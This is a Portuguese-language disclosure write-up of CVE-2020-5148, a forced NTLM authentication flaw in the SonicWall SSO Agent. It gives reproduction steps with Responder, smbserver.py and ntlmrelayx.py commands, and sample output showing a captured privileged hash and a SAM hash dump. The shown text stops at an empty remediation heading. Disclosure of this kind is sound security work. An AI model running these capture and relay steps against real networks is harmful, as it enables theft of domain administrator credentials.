CVE-2020-5148

Autenticação Forçada no Agente SSO do SonicWall UTM

O Agente SSO do SonicWall identifica o usuário por trás de um determinado endereço IP, sondando essa estação de trabalho com NetAPI (o padrão) ou WMI. Ele não valida a estação de trabalho antes de iniciar a autenticação NTLM e continua consultando o mesmo endereço durante toda a sessão.

Como o serviço do Agente SSO exige direitos administrativos em todas as estações de trabalho e servidores que sonda, ele é implantado na prática como Administrador de Domínio. Qualquer parte não autenticada que possa rotear tráfego web através do appliance UTM pode, portanto, fazer com que uma conta de Administrador de Domínio autentique em um host de sua escolha e capturar ou retransmitir (relay) essa autenticação.

Publicado como CVE-2020-5148, aviso do fornecedor SNWLID-2021-0003.

Descoberto e relatado por Sedric Louissaint da Show Up Show Out Security.

---

Resumo

CVE	CVE-2020-5148
Produto	Appliance UTM SonicWall e Agente SSO / Conector de Serviços de Diretório
Afetados	Agente SSO 4.1.10.0; Conector de Serviços de Diretório 4.1.17 e anteriores
Corrigido em	NVD registra a correção no Conector de Serviços de Diretório 4.1.19 (veja nota abaixo)
Fraqueza	CWE-287: Autenticação Incorreta
CVSS 3.1 (NVD)	8.2 Alto CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (pesquisador)	8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Publicado	2021-03-05
Testado em	Microsoft Windows Server 2012 R2 Standard
Autenticação necessária	Nenhuma
Aviso do fornecedor	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

Descrição do NVD:

A configuração padrão do agente SSO da SonicWall usa NetAPI para sondar os IPs associados na rede; esse método de sondagem do cliente permite que um potencial atacante capture o hash da senha

Detalhe técnico

O fluxo pretendido e as duas etapas que ele omite

1. O tráfego de um usuário chega ao appliance UTM SonicWALL.
2. O appliance envia o IP do usuário ao Agente SSO como uma "Solicitação de Nome de Usuário". Pacotes bloqueados são retidos.
3. O Agente SSO responde com o nome de usuário conectado àquela estação de trabalho.
4. O LDAP ou o banco de dados local resolve a associação ao grupo.
5. A política é aplicada e o tráfego retido é liberado.
6. O appliance continua sondando o Agente SSO para confirmar que o mesmo usuário ainda está conectado.

As anotações marcam o que o diagrama do fornecedor omite:

• Etapa 2.5 O Agente SSO deve autenticar na estação de trabalho antes de poder consultá-la. Isso é um handshake NTLM de saída, para um endereço fornecido por quem gerou o tráfego, sem validação prévia desse endereço.
• Etapa 5.5 O agente repete essa autenticação a cada sondagem, durante toda a sessão. O intervalo de sondagem é configurável na interface gráfica.

Contexto de privilégio

O serviço do Agente SSO exige direitos de administrador em todas as estações de trabalho e servidores associados para realizar a consulta. Em praticamente todas as implantações, isso significa que a conta de serviço é Administrador de Domínio.

A credencial entregue a um host não validado é, portanto, a conta com o maior privilégio no diretório.

Como acionar

Não há código de exploração. Qualquer solicitação web de saída de um segmento que o appliance gerencia é suficiente:

curl sonicwall.com

A URL é irrelevante e a solicitação não precisa ser bem-sucedida. O appliance observa tráfego de um IP não reconhecido, pede ao Agente SSO para identificar o usuário ali, e o agente autentica nesse IP.

Capturando a credencial

Com Responder ou smbserver.py em escuta, a autenticação NTLMv2 do agente chega sem solicitação e continua chegando por causa do comportamento de sondagem:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Retransmitindo (relay)

Quebrar hashes é opcional. Onde a assinatura SMB não é aplicada, a autenticação pode ser retransmitida ao vivo para um host diferente, que então trata a conexão como a conta privilegiada que aparenta ser:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

A autenticação é acionada por uma solicitação web não autenticada e consumida em uma máquina totalmente diferente, o que é a completa bypass de ACL descrita no aviso.

Reprodução

Em um laboratório que você possui ou está autorizado a testar, com um appliance UTM configurado para SSO e o Agente SSO usando o método padrão de sondagem de cliente NetAPI:

1. Inicie um listener em um host dentro de um segmento que o appliance gerencia:

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. Desse mesmo host, gere qualquer tráfego web de saída através do appliance:

   curl sonicwall.com
   

3. Uma configuração vulnerável produz uma autenticação NTLMv2 de entrada da conta de serviço do Agente SSO em segundos. Espere, e ela se repete, por causa da sondagem.
4. Opcionalmente, faça relay em vez de captura, contra um host com assinatura SMB desabilitada:

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Sequência completa de comandos em poc/repro.sh.

Conteúdo do repositório

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Nomes de usuário, hashes e endereços internos nas capturas foram redigidos ou vêm do laboratório original.

Remediação